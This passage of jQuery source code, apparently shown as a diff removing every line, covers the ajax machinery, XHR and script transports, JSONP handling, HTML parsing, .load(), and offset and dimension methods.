location.href, - type: "GET", - isLocal: rlocalProtocol.test( location.protocol ), - global: true, - processData: true, - async: true, - contentType: "application/x-www-form-urlencoded; charset=UTF-8", - - /* - timeout: 0, - data: null, - dataType: null, - username: null, - password: null, - cache: null, - throws: false, - traditional: false, - headers: {}, - */ - - accepts: { - "*": allTypes, - text: "text/plain", - html: "text/html", - xml: "application/xml, text/xml", - json: "application/json, text/javascript" - }, - - contents: { - xml: /\bxml\b/, - html: /\bhtml/, - json: /\bjson\b/ - }, - - responseFields: { - xml: "responseXML", - text: "responseText", - json: "responseJSON" - }, - - // Data converters - // Keys separate source (or catchall "*") and destination types with a single space - converters: { - - // Convert anything to text - "* text": String, - - // Text to html (true = no transformation) - "text html": true, - - // Evaluate text as a json expression - "text json": JSON.parse, - - // Parse text as xml - "text xml": jQuery.parseXML - }, - - // For options that shouldn't be deep extended: - // you can add your own custom options here if - // and when you create one that shouldn't be - // deep extended (see ajaxExtend) - flatOptions: { - url: true, - context: true - } - }, - - // Creates a full fledged settings object into target - // with both ajaxSettings and settings fields. - // If target is omitted, writes into ajaxSettings. - ajaxSetup: function( target, settings ) { - return settings ? - - // Building a settings object - ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : - - // Extending ajaxSettings - ajaxExtend( jQuery.ajaxSettings, target ); - }, - - ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), - ajaxTransport: addToPrefiltersOrTransports( transports ), - - // Main method - ajax: function( url, options ) { - - // If url is an object, simulate pre-1.5 signature - if ( typeof url === "object" ) { - options = url; - url = undefined; - } - - // Force options to be an object - options = options || {}; - - var transport, - - // URL without anti-cache param - cacheURL, - - // Response headers - responseHeadersString, - responseHeaders, - - // timeout handle - timeoutTimer, - - // Url cleanup var - urlAnchor, - - // Request state (becomes false upon send and true upon completion) - completed, - - // To know if global events are to be dispatched - fireGlobals, - - // Loop variable - i, - - // uncached part of the url - uncached, - - // Create the final options object - s = jQuery.ajaxSetup( {}, options ), - - // Callbacks context - callbackContext = s.context || s, - - // Context for global events is callbackContext if it is a DOM node or jQuery collection - globalEventContext = s.context && - ( callbackContext.nodeType || callbackContext.jquery ) ? - jQuery( callbackContext ) : - jQuery.event, - - // Deferreds - deferred = jQuery.Deferred(), - completeDeferred = jQuery.Callbacks( "once memory" ), - - // Status-dependent callbacks - statusCode = s.statusCode || {}, - - // Headers (they are sent all at once) - requestHeaders = {}, - requestHeadersNames = {}, - - // Default abort message - strAbort = "canceled", - - // Fake xhr - jqXHR = { - readyState: 0, - - // Builds headers hashtable if needed - getResponseHeader: function( key ) { - var match; - if ( completed ) { - if ( !responseHeaders ) { - responseHeaders = {}; - while ( ( match = rheaders.exec( responseHeadersString ) ) ) { - responseHeaders[ match[ 1 ].toLowerCase() + " " ] = - ( responseHeaders[ match[ 1 ].toLowerCase() + " " ] || [] ) - .concat( match[ 2 ] ); - } - } - match = responseHeaders[ key.toLowerCase() + " " ]; - } - return match == null ? null : match.join( ", " ); - }, - - // Raw string - getAllResponseHeaders: function() { - return completed ? responseHeadersString : null; - }, - - // Caches the header - setRequestHeader: function( name, value ) { - if ( completed == null ) { - name = requestHeadersNames[ name.toLowerCase() ] = - requestHeadersNames[ name.toLowerCase() ] || name; - requestHeaders[ name ] = value; - } - return this; - }, - - // Overrides response content-type header - overrideMimeType: function( type ) { - if ( completed == null ) { - s.mimeType = type; - } - return this; - }, - - // Status-dependent callbacks - statusCode: function( map ) { - var code; - if ( map ) { - if ( completed ) { - - // Execute the appropriate callbacks - jqXHR.always( map[ jqXHR.status ] ); - } else { - - // Lazy-add the new callbacks in a way that preserves old ones - for ( code in map ) { - statusCode[ code ] = [ statusCode[ code ], map[ code ] ]; - } - } - } - return this; - }, - - // Cancel the request - abort: function( statusText ) { - var finalText = statusText || strAbort; - if ( transport ) { - transport.abort( finalText ); - } - done( 0, finalText ); - return this; - } - }; - - // Attach deferreds - deferred.promise( jqXHR ); - - // Add protocol if not provided (prefilters might expect it) - // Handle falsy url in the settings object (trac-10093: consistency with old signature) - // We also use the url parameter if available - s.url = ( ( url || s.url || location.href ) + "" ) - .replace( rprotocol, location.protocol + "//" ); - - // Alias method option to type as per ticket trac-12004 - s.type = options.method || options.type || s.method || s.type; - - // Extract dataTypes list - s.dataTypes = ( s.dataType || "*" ).toLowerCase().match( rnothtmlwhite ) || [ "" ]; - - // A cross-domain request is in order when the origin doesn't match the current origin. - if ( s.crossDomain == null ) { - urlAnchor = document.createElement( "a" ); - - // Support: IE <=8 - 11, Edge 12 - 15 - // IE throws exception on accessing the href property if url is malformed, - // e.g. http://example.com:80x/ - try { - urlAnchor.href = s.url; - - // Support: IE <=8 - 11 only - // Anchor's host property isn't correctly set when s.url is relative - urlAnchor.href = urlAnchor.href; - s.crossDomain = originAnchor.protocol + "//" + originAnchor.host !== - urlAnchor.protocol + "//" + urlAnchor.host; - } catch ( e ) { - - // If there is an error parsing the URL, assume it is crossDomain, - // it can be rejected by the transport if it is invalid - s.crossDomain = true; - } - } - - // Convert data if not already a string - if ( s.data && s.processData && typeof s.data !== "string" ) { - s.data = jQuery.param( s.data, s.traditional ); - } - - // Apply prefilters - inspectPrefiltersOrTransports( prefilters, s, options, jqXHR ); - - // If request was aborted inside a prefilter, stop there - if ( completed ) { - return jqXHR; - } - - // We can fire global events as of now if asked to - // Don't fire events if jQuery.event is undefined in an AMD-usage scenario (trac-15118) - fireGlobals = jQuery.event && s.global; - - // Watch for a new set of requests - if ( fireGlobals && jQuery.active++ === 0 ) { - jQuery.event.trigger( "ajaxStart" ); - } - - // Uppercase the type - s.type = s.type.toUpperCase(); - - // Determine if request has content - s.hasContent = !rnoContent.test( s.type ); - - // Save the URL in case we're toying with the If-Modified-Since - // and/or If-None-Match header later on - // Remove hash to simplify url manipulation - cacheURL = s.url.replace( rhash, "" ); - - // More options handling for requests with no content - if ( !s.hasContent ) { - - // Remember the hash so we can put it back - uncached = s.url.slice( cacheURL.length ); - - // If data is available and should be processed, append data to url - if ( s.data && ( s.processData || typeof s.data === "string" ) ) { - cacheURL += ( rquery.test( cacheURL ) ? "&" : "?" ) + s.data; - - // trac-9682: remove data so that it's not used in an eventual retry - delete s.data; - } - - // Add or update anti-cache param if needed - if ( s.cache === false ) { - cacheURL = cacheURL.replace( rantiCache, "$1" ); - uncached = ( rquery.test( cacheURL ) ? "&" : "?" ) + "_=" + ( nonce.guid++ ) + - uncached; - } - - // Put hash and anti-cache on the URL that will be requested (gh-1732) - s.url = cacheURL + uncached; - - // Change '%20' to '+' if this is encoded form body content (gh-2658) - } else if ( s.data && s.processData && - ( s.contentType || "" ).indexOf( "application/x-www-form-urlencoded" ) === 0 ) { - s.data = s.data.replace( r20, "+" ); - } - - // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. - if ( s.ifModified ) { - if ( jQuery.lastModified[ cacheURL ] ) { - jqXHR.setRequestHeader( "If-Modified-Since", jQuery.lastModified[ cacheURL ] ); - } - if ( jQuery.etag[ cacheURL ] ) { - jqXHR.setRequestHeader( "If-None-Match", jQuery.etag[ cacheURL ] ); - } - } - - // Set the correct header, if data is being sent - if ( s.data && s.hasContent && s.contentType !== false || options.contentType ) { - jqXHR.setRequestHeader( "Content-Type", s.contentType ); - } - - // Set the Accepts header for the server, depending on the dataType - jqXHR.setRequestHeader( - "Accept", - s.dataTypes[ 0 ] && s.accepts[ s.dataTypes[ 0 ] ] ? - s.accepts[ s.dataTypes[ 0 ] ] + - ( s.dataTypes[ 0 ] !== "*" ? ", " + allTypes + "; q=0.01" : "" ) : - s.accepts[ "*" ] - ); - - // Check for headers option - for ( i in s.headers ) { - jqXHR.setRequestHeader( i, s.headers[ i ] ); - } - - // Allow custom headers/mimetypes and early abort - if ( s.beforeSend && - ( s.beforeSend.call( callbackContext, jqXHR, s ) === false || completed ) ) { - - // Abort if not done already and return - return jqXHR.abort(); - } - - // Aborting is no longer a cancellation - strAbort = "abort"; - - // Install callbacks on deferreds - completeDeferred.add( s.complete ); - jqXHR.done( s.success ); - jqXHR.fail( s.error ); - - // Get transport - transport = inspectPrefiltersOrTransports( transports, s, options, jqXHR ); - - // If no transport, we auto-abort - if ( !transport ) { - done( -1, "No Transport" ); - } else { - jqXHR.readyState = 1; - - // Send global event - if ( fireGlobals ) { - globalEventContext.trigger( "ajaxSend", [ jqXHR, s ] ); - } - - // If request was aborted inside ajaxSend, stop there - if ( completed ) { - return jqXHR; - } - - // Timeout - if ( s.async && s.timeout > 0 ) { - timeoutTimer = window.setTimeout( function() { - jqXHR.abort( "timeout" ); - }, s.timeout ); - } - - try { - completed = false; - transport.send( requestHeaders, done ); - } catch ( e ) { - - // Rethrow post-completion exceptions - if ( completed ) { - throw e; - } - - // Propagate others as results - done( -1, e ); - } - } - - // Callback for when everything is done - function done( status, nativeStatusText, responses, headers ) { - var isSuccess, success, error, response, modified, - statusText = nativeStatusText; - - // Ignore repeat invocations - if ( completed ) { - return; - } - - completed = true; - - // Clear timeout if it exists - if ( timeoutTimer ) { - window.clearTimeout( timeoutTimer ); - } - - // Dereference transport for early garbage collection - // (no matter how long the jqXHR object will be used) - transport = undefined; - - // Cache response headers - responseHeadersString = headers || ""; - - // Set readyState - jqXHR.readyState = status > 0 ? 4 : 0; - - // Determine if successful - isSuccess = status >= 200 && status < 300 || status === 304; - - // Get response data - if ( responses ) { - response = ajaxHandleResponses( s, jqXHR, responses ); - } - - // Use a noop converter for missing script but not if jsonp - if ( !isSuccess && - jQuery.inArray( "script", s.dataTypes ) > -1 && - jQuery.inArray( "json", s.dataTypes ) < 0 ) { - s.converters[ "text script" ] = function() {}; - } - - // Convert no matter what (that way responseXXX fields are always set) - response = ajaxConvert( s, response, jqXHR, isSuccess ); - - // If successful, handle type chaining - if ( isSuccess ) { - - // Set the If-Modified-Since and/or If-None-Match header, if in ifModified mode. - if ( s.ifModified ) { - modified = jqXHR.getResponseHeader( "Last-Modified" ); - if ( modified ) { - jQuery.lastModified[ cacheURL ] = modified; - } - modified = jqXHR.getResponseHeader( "etag" ); - if ( modified ) { - jQuery.etag[ cacheURL ] = modified; - } - } - - // if no content - if ( status === 204 || s.type === "HEAD" ) { - statusText = "nocontent"; - - // if not modified - } else if ( status === 304 ) { - statusText = "notmodified"; - - // If we have data, let's convert it - } else { - statusText = response.state; - success = response.data; - error = response.error; - isSuccess = !error; - } - } else { - - // Extract error from statusText and normalize for non-aborts - error = statusText; - if ( status || !statusText ) { - statusText = "error"; - if ( status < 0 ) { - status = 0; - } - } - } - - // Set data for the fake xhr object - jqXHR.status = status; - jqXHR.statusText = ( nativeStatusText || statusText ) + ""; - - // Success/Error - if ( isSuccess ) { - deferred.resolveWith( callbackContext, [ success, statusText, jqXHR ] ); - } else { - deferred.rejectWith( callbackContext, [ jqXHR, statusText, error ] ); - } - - // Status-dependent callbacks - jqXHR.statusCode( statusCode ); - statusCode = undefined; - - if ( fireGlobals ) { - globalEventContext.trigger( isSuccess ? "ajaxSuccess" : "ajaxError", - [ jqXHR, s, isSuccess ? success : error ] ); - } - - // Complete - completeDeferred.fireWith( callbackContext, [ jqXHR, statusText ] ); - - if ( fireGlobals ) { - globalEventContext.trigger( "ajaxComplete", [ jqXHR, s ] ); - - // Handle the global AJAX counter - if ( !( --jQuery.active ) ) { - jQuery.event.trigger( "ajaxStop" ); - } - } - } - - return jqXHR; - }, - - getJSON: function( url, data, callback ) { - return jQuery.get( url, data, callback, "json" ); - }, - - getScript: function( url, callback ) { - return jQuery.get( url, undefined, callback, "script" ); - } -} ); - -jQuery.each( [ "get", "post" ], function( _i, method ) { - jQuery[ method ] = function( url, data, callback, type ) { - - // Shift arguments if data argument was omitted - if ( isFunction( data ) ) { - type = type || callback; - callback = data; - data = undefined; - } - - // The url can be an options object (which then must have .url) - return jQuery.ajax( jQuery.extend( { - url: url, - type: method, - dataType: type, - data: data, - success: callback - }, jQuery.isPlainObject( url ) && url ) ); - }; -} ); - -jQuery.ajaxPrefilter( function( s ) { - var i; - for ( i in s.headers ) { - if ( i.toLowerCase() === "content-type" ) { - s.contentType = s.headers[ i ] || ""; - } - } -} ); - - -jQuery._evalUrl = function( url, options, doc ) { - return jQuery.ajax( { - url: url, - - // Make this explicit, since user can override this through ajaxSetup (trac-11264) - type: "GET", - dataType: "script", - cache: true, - async: false, - global: false, - - // Only evaluate the response if it is successful (gh-4126) - // dataFilter is not invoked for failure responses, so using it instead - // of the default converter is kludgy but it works. - converters: { - "text script": function() {} - }, - dataFilter: function( response ) { - jQuery.globalEval( response, options, doc ); - } - } ); -}; - - -jQuery.fn.extend( { - wrapAll: function( html ) { - var wrap; - - if ( this[ 0 ] ) { - if ( isFunction( html ) ) { - html = html.call( this[ 0 ] ); - } - - // The elements to wrap the target around - wrap = jQuery( html, this[ 0 ].ownerDocument ).eq( 0 ).clone( true ); - - if ( this[ 0 ].parentNode ) { - wrap.insertBefore( this[ 0 ] ); - } - - wrap.map( function() { - var elem = this; - - while ( elem.firstElementChild ) { - elem = elem.firstElementChild; - } - - return elem; - } ).append( this ); - } - - return this; - }, - - wrapInner: function( html ) { - if ( isFunction( html ) ) { - return this.each( function( i ) { - jQuery( this ).wrapInner( html.call( this, i ) ); - } ); - } - - return this.each( function() { - var self = jQuery( this ), - contents = self.contents(); - - if ( contents.length ) { - contents.wrapAll( html ); - - } else { - self.append( html ); - } - } ); - }, - - wrap: function( html ) { - var htmlIsFunction = isFunction( html ); - - return this.each( function( i ) { - jQuery( this ).wrapAll( htmlIsFunction ? html.call( this, i ) : html ); - } ); - }, - - unwrap: function( selector ) { - this.parent( selector ).not( "body" ).each( function() { - jQuery( this ).replaceWith( this.childNodes ); - } ); - return this; - } -} ); - - -jQuery.expr.pseudos.hidden = function( elem ) { - return !jQuery.expr.pseudos.visible( elem ); -}; -jQuery.expr.pseudos.visible = function( elem ) { - return !!( elem.offsetWidth || elem.offsetHeight || elem.getClientRects().length ); -}; - - - - -jQuery.ajaxSettings.xhr = function() { - try { - return new window.XMLHttpRequest(); - } catch ( e ) {} -}; - -var xhrSuccessStatus = { - - // File protocol always yields status code 0, assume 200 - 0: 200, - - // Support: IE <=9 only - // trac-1450: sometimes IE returns 1223 when it should be 204 - 1223: 204 - }, - xhrSupported = jQuery.ajaxSettings.xhr(); - -support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported ); -support.ajax = xhrSupported = !!xhrSupported; - -jQuery.ajaxTransport( function( options ) { - var callback, errorCallback; - - // Cross domain only allowed if supported through XMLHttpRequest - if ( support.cors || xhrSupported && !options.crossDomain ) { - return { - send: function( headers, complete ) { - var i, - xhr = options.xhr(); - - xhr.open( - options.type, - options.url, - options.async, - options.username, - options.password - ); - - // Apply custom fields if provided - if ( options.xhrFields ) { - for ( i in options.xhrFields ) { - xhr[ i ] = options.xhrFields[ i ]; - } - } - - // Override mime type if needed - if ( options.mimeType && xhr.overrideMimeType ) { - xhr.overrideMimeType( options.mimeType ); - } - - // X-Requested-With header - // For cross-domain requests, seeing as conditions for a preflight are - // akin to a jigsaw puzzle, we simply never set it to be sure. - // (it can always be set on a per-request basis or even using ajaxSetup) - // For same-domain requests, won't change header if already provided. - if ( !options.crossDomain && !headers[ "X-Requested-With" ] ) { - headers[ "X-Requested-With" ] = "XMLHttpRequest"; - } - - // Set headers - for ( i in headers ) { - xhr.setRequestHeader( i, headers[ i ] ); - } - - // Callback - callback = function( type ) { - return function() { - if ( callback ) { - callback = errorCallback = xhr.onload = - xhr.onerror = xhr.onabort = xhr.ontimeout = - xhr.onreadystatechange = null; - - if ( type === "abort" ) { - xhr.abort(); - } else if ( type === "error" ) { - - // Support: IE <=9 only - // On a manual native abort, IE9 throws - // errors on any property access that is not readyState - if ( typeof xhr.status !== "number" ) { - complete( 0, "error" ); - } else { - complete( - - // File: protocol always yields status 0; see trac-8605, trac-14207 - xhr.status, - xhr.statusText - ); - } - } else { - complete( - xhrSuccessStatus[ xhr.status ] || xhr.status, - xhr.statusText, - - // Support: IE <=9 only - // IE9 has no XHR2 but throws on binary (trac-11426) - // For XHR2 non-text, let the caller handle it (gh-2498) - ( xhr.responseType || "text" ) !== "text" || - typeof xhr.responseText !== "string" ? - { binary: xhr.response } : - { text: xhr.responseText }, - xhr.getAllResponseHeaders() - ); - } - } - }; - }; - - // Listen to events - xhr.onload = callback(); - errorCallback = xhr.onerror = xhr.ontimeout = callback( "error" ); - - // Support: IE 9 only - // Use onreadystatechange to replace onabort - // to handle uncaught aborts - if ( xhr.onabort !== undefined ) { - xhr.onabort = errorCallback; - } else { - xhr.onreadystatechange = function() { - - // Check readyState before timeout as it changes - if ( xhr.readyState === 4 ) { - - // Allow onerror to be called first, - // but that will not handle a native abort - // Also, save errorCallback to a variable - // as xhr.onerror cannot be accessed - window.setTimeout( function() { - if ( callback ) { - errorCallback(); - } - } ); - } - }; - } - - // Create the abort callback - callback = callback( "abort" ); - - try { - - // Do send the request (this may raise an exception) - xhr.send( options.hasContent && options.data || null ); - } catch ( e ) { - - // trac-14683: Only rethrow if this hasn't been notified as an error yet - if ( callback ) { - throw e; - } - } - }, - - abort: function() { - if ( callback ) { - callback(); - } - } - }; - } -} ); - - - - -// Prevent auto-execution of scripts when no explicit dataType was provided (See gh-2432) -jQuery.ajaxPrefilter( function( s ) { - if ( s.crossDomain ) { - s.contents.script = false; - } -} ); - -// Install script dataType -jQuery.ajaxSetup( { - accepts: { - script: "text/javascript, application/javascript, " + - "application/ecmascript, application/x-ecmascript" - }, - contents: { - script: /\b(?:java|ecma)script\b/ - }, - converters: { - "text script": function( text ) { - jQuery.globalEval( text ); - return text; - } - } -} ); - -// Handle cache's special case and crossDomain -jQuery.ajaxPrefilter( "script", function( s ) { - if ( s.cache === undefined ) { - s.cache = false; - } - if ( s.crossDomain ) { - s.type = "GET"; - } -} ); - -// Bind script tag hack transport -jQuery.ajaxTransport( "script", function( s ) { - - // This transport only deals with cross domain or forced-by-attrs requests - if ( s.crossDomain || s.scriptAttrs ) { - var script, callback; - return { - send: function( _, complete ) { - script = jQuery( "<script>" ) - .attr( s.scriptAttrs || {} ) - .prop( { charset: s.scriptCharset, src: s.url } ) - .on( "load error", callback = function( evt ) { - script.remove(); - callback = null; - if ( evt ) { - complete( evt.type === "error" ? 404 : 200, evt.type ); - } - } ); - - // Use native DOM manipulation to avoid our domManip AJAX trickery - document.head.appendChild( script[ 0 ] ); - }, - abort: function() { - if ( callback ) { - callback(); - } - } - }; - } -} ); - - - - -var oldCallbacks = [], - rjsonp = /(=)\?(?=&|$)|\?\?/; - -// Default jsonp settings -jQuery.ajaxSetup( { - jsonp: "callback", - jsonpCallback: function() { - var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce.guid++ ) ); - this[ callback ] = true; - return callback; - } -} ); - -// Detect, normalize options and install callbacks for jsonp requests -jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) { - - var callbackName, overwritten, responseContainer, - jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ? - "url" : - typeof s.data === "string" && - ( s.contentType || "" ) - .indexOf( "application/x-www-form-urlencoded" ) === 0 && - rjsonp.test( s.data ) && "data" - ); - - // Handle iff the expected data type is "jsonp" or we have a parameter to set - if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) { - - // Get callback name, remembering preexisting value associated with it - callbackName = s.jsonpCallback = isFunction( s.jsonpCallback ) ? - s.jsonpCallback() : - s.jsonpCallback; - - // Insert callback into url or form data - if ( jsonProp ) { - s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName ); - } else if ( s.jsonp !== false ) { - s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName; - } - - // Use data converter to retrieve json after script execution - s.converters[ "script json" ] = function() { - if ( !responseContainer ) { - jQuery.error( callbackName + " was not called" ); - } - return responseContainer[ 0 ]; - }; - - // Force json dataType - s.dataTypes[ 0 ] = "json"; - - // Install callback - overwritten = window[ callbackName ]; - window[ callbackName ] = function() { - responseContainer = arguments; - }; - - // Clean-up function (fires after converters) - jqXHR.always( function() { - - // If previous value didn't exist - remove it - if ( overwritten === undefined ) { - jQuery( window ).removeProp( callbackName ); - - // Otherwise restore preexisting value - } else { - window[ callbackName ] = overwritten; - } - - // Save back as free - if ( s[ callbackName ] ) { - - // Make sure that re-using the options doesn't screw things around - s.jsonpCallback = originalSettings.jsonpCallback; - - // Save the callback name for future use - oldCallbacks.push( callbackName ); - } - - // Call if it was a function and we have a response - if ( responseContainer && isFunction( overwritten ) ) { - overwritten( responseContainer[ 0 ] ); - } - - responseContainer = overwritten = undefined; - } ); - - // Delegate to script - return "script"; - } -} ); - - - - -// Support: Safari 8 only -// In Safari 8 documents created via document.implementation.createHTMLDocument -// collapse sibling forms: the second one becomes a child of the first one. -// Because of that, this security measure has to be disabled in Safari 8. -// https://bugs.webkit.org/show_bug.cgi?id=137337 -support.createHTMLDocument = ( function() { - var body = document.implementation.createHTMLDocument( "" ).body; - body.innerHTML = "<form></form><form></form>"; - return body.childNodes.length === 2; -} )(); - - -// Argument "data" should be string of html -// context (optional): If specified, the fragment will be created in this context, -// defaults to document -// keepScripts (optional): If true, will include scripts passed in the html string -jQuery.parseHTML = function( data, context, keepScripts ) { - if ( typeof data !== "string" ) { - return []; - } - if ( typeof context === "boolean" ) { - keepScripts = context; - context = false; - } - - var base, parsed, scripts; - - if ( !context ) { - - // Stop scripts or inline event handlers from being executed immediately - // by using document.implementation - if ( support.createHTMLDocument ) { - context = document.implementation.createHTMLDocument( "" ); - - // Set the base href for the created document - // so any parsed elements with URLs - // are based on the document's URL (gh-2965) - base = context.createElement( "base" ); - base.href = document.location.href; - context.head.appendChild( base ); - } else { - context = document; - } - } - - parsed = rsingleTag.exec( data ); - scripts = !keepScripts && []; - - // Single tag - if ( parsed ) { - return [ context.createElement( parsed[ 1 ] ) ]; - } - - parsed = buildFragment( [ data ], context, scripts ); - - if ( scripts && scripts.length ) { - jQuery( scripts ).remove(); - } - - return jQuery.merge( [], parsed.childNodes ); -}; - - -/** - * Load a url into a page - */ -jQuery.fn.load = function( url, params, callback ) { - var selector, type, response, - self = this, - off = url.indexOf( " " ); - - if ( off > -1 ) { - selector = stripAndCollapse( url.slice( off ) ); - url = url.slice( 0, off ); - } - - // If it's a function - if ( isFunction( params ) ) { - - // We assume that it's the callback - callback = params; - params = undefined; - - // Otherwise, build a param string - } else if ( params && typeof params === "object" ) { - type = "POST"; - } - - // If we have elements to modify, make the request - if ( self.length > 0 ) { - jQuery.ajax( { - url: url, - - // If "type" variable is undefined, then "GET" method will be used. - // Make value of this field explicit since - // user can override it through ajaxSetup method - type: type || "GET", - dataType: "html", - data: params - } ).done( function( responseText ) { - - // Save response for use in complete callback - response = arguments; - - self.html( selector ? - - // If a selector was specified, locate the right elements in a dummy div - // Exclude scripts to avoid IE 'Permission Denied' errors - jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) : - - // Otherwise use the full result - responseText ); - - // If the request succeeds, this function gets "data", "status", "jqXHR" - // but they are ignored because response was set above. - // If it fails, this function gets "jqXHR", "status", "error" - } ).always( callback && function( jqXHR, status ) { - self.each( function() { - callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] ); - } ); - } ); - } - - return this; -}; - - - - -jQuery.expr.pseudos.animated = function( elem ) { - return jQuery.grep( jQuery.timers, function( fn ) { - return elem === fn.elem; - } ).length; -}; - - - - -jQuery.offset = { - setOffset: function( elem, options, i ) { - var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, - position = jQuery.css( elem, "position" ), - curElem = jQuery( elem ), - props = {}; - - // Set position first, in-case top/left are set even on static elem - if ( position === "static" ) { - elem.style.position = "relative"; - } - - curOffset = curElem.offset(); - curCSSTop = jQuery.css( elem, "top" ); - curCSSLeft = jQuery.css( elem, "left" ); - calculatePosition = ( position === "absolute" || position === "fixed" ) && - ( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1; - - // Need to be able to calculate position if either - // top or left is auto and position is either absolute or fixed - if ( calculatePosition ) { - curPosition = curElem.position(); - curTop = curPosition.top; - curLeft = curPosition.left; - - } else { - curTop = parseFloat( curCSSTop ) || 0; - curLeft = parseFloat( curCSSLeft ) || 0; - } - - if ( isFunction( options ) ) { - - // Use jQuery.extend here to allow modification of coordinates argument (gh-1848) - options = options.call( elem, i, jQuery.extend( {}, curOffset ) ); - } - - if ( options.top != null ) { - props.top = ( options.top - curOffset.top ) + curTop; - } - if ( options.left != null ) { - props.left = ( options.left - curOffset.left ) + curLeft; - } - - if ( "using" in options ) { - options.using.call( elem, props ); - - } else { - curElem.css( props ); - } - } -}; - -jQuery.fn.extend( { - - // offset() relates an element's border box to the document origin - offset: function( options ) { - - // Preserve chaining for setter - if ( arguments.length ) { - return options === undefined ? - this : - this.each( function( i ) { - jQuery.offset.setOffset( this, options, i ); - } ); - } - - var rect, win, - elem = this[ 0 ]; - - if ( !elem ) { - return; - } - - // Return zeros for disconnected and hidden (display: none) elements (gh-2310) - // Support: IE <=11 only - // Running getBoundingClientRect on a - // disconnected node in IE throws an error - if ( !elem.getClientRects().length ) { - return { top: 0, left: 0 }; - } - - // Get document-relative position by adding viewport scroll to viewport-relative gBCR - rect = elem.getBoundingClientRect(); - win = elem.ownerDocument.defaultView; - return { - top: rect.top + win.pageYOffset, - left: rect.left + win.pageXOffset - }; - }, - - // position() relates an element's margin box to its offset parent's padding box - // This corresponds to the behavior of CSS absolute positioning - position: function() { - if ( !this[ 0 ] ) { - return; - } - - var offsetParent, offset, doc, - elem = this[ 0 ], - parentOffset = { top: 0, left: 0 }; - - // position:fixed elements are offset from the viewport, which itself always has zero offset - if ( jQuery.css( elem, "position" ) === "fixed" ) { - - // Assume position:fixed implies availability of getBoundingClientRect - offset = elem.getBoundingClientRect(); - - } else { - offset = this.offset(); - - // Account for the *real* offset parent, which can be the document or its root element - // when a statically positioned element is identified - doc = elem.ownerDocument; - offsetParent = elem.offsetParent || doc.documentElement; - while ( offsetParent && - ( offsetParent === doc.body || offsetParent === doc.documentElement ) && - jQuery.css( offsetParent, "position" ) === "static" ) { - - offsetParent = offsetParent.parentNode; - } - if ( offsetParent && offsetParent !== elem && offsetParent.nodeType === 1 ) { - - // Incorporate borders into its offset, since they are outside its content origin - parentOffset = jQuery( offsetParent ).offset(); - parentOffset.top += jQuery.css( offsetParent, "borderTopWidth", true ); - parentOffset.left += jQuery.css( offsetParent, "borderLeftWidth", true ); - } - } - - // Subtract parent offsets and element margins - return { - top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), - left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true ) - }; - }, - - // This method will return documentElement in the following cases: - // 1) For the element inside the iframe without offsetParent, this method will return - // documentElement of the parent window - // 2) For the hidden or detached element - // 3) For body or html element, i.e. in case of the html node - it will return itself - // - // but those exceptions were never presented as a real life use-cases - // and might be considered as more preferable results. - // - // This logic, however, is not guaranteed and can change at any point in the future - offsetParent: function() { - return this.map( function() { - var offsetParent = this.offsetParent; - - while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) { - offsetParent = offsetParent.offsetParent; - } - - return offsetParent || documentElement; - } ); - } -} ); - -// Create scrollLeft and scrollTop methods -jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) { - var top = "pageYOffset" === prop; - - jQuery.fn[ method ] = function( val ) { - return access( this, function( elem, method, val ) { - - // Coalesce documents and windows - var win; - if ( isWindow( elem ) ) { - win = elem; - } else if ( elem.nodeType === 9 ) { - win = elem.defaultView; - } - - if ( val === undefined ) { - return win ? win[ prop ] : elem[ method ]; - } - - if ( win ) { - win.scrollTo( - !top ? val : win.pageXOffset, - top ? val : win.pageYOffset - ); - - } else { - elem[ method ] = val; - } - }, method, val, arguments.length ); - }; -} ); - -// Support: Safari <=7 - 9.1, Chrome <=37 - 49 -// Add the top/left cssHooks using jQuery.fn.position -// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 -// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347 -// getComputedStyle returns percent when specified for top/left/bottom/right; -// rather than make the css module depend on the offset module, just check for it here -jQuery.each( [ "top", "left" ], function( _i, prop ) { - jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition, - function( elem, computed ) { - if ( computed ) { - computed = curCSS( elem, prop ); - - // If curCSS returns percentage, fallback to offset - return rnumnonpx.test( computed ) ? - jQuery( elem ).position()[ prop ] + "px" : - computed; - } - } - ); -} ); - - -// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods -jQuery.each( { Height: "height", Width: "width" }, function( name, type ) { - jQuery.each( { - padding: "inner" + name, - content: type, - "": "outer" + name - }, function( defaultExtra, funcName ) { - - // Margin is only for outerHeight, outerWidth - jQuery.fn[ funcName ] = function( margin, value ) { - var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), - extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); - - return access( this, function( elem, type, value ) { - var doc; - - if ( isWindow( elem ) ) { - - // $( window ).outerWidth/Height return w/h including scrollbars (gh-1729) - return funcName.indexOf( "outer" ) === 0 ? - elem[ "inner" + name ] : - elem.document.documentElement[ "client" + name ]; - } - - // Get document width or height - if ( elem.nodeType === 9 ) { - doc = elem.documentElement; - - // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], - // whichever is greatest - return Math.max( - elem.body[ "scroll" + name ], doc[ "scroll" + name ], - elem.body[ "offset" + name ], doc[ "offset" + name ], - doc[ "client" + name ] - ); - } - - return value === undefined ? - - // Get width or height on the element, requesting but not forcing parseFloat - jQuery.css( elem, type, extra ) : - - // Set width or height on the element - 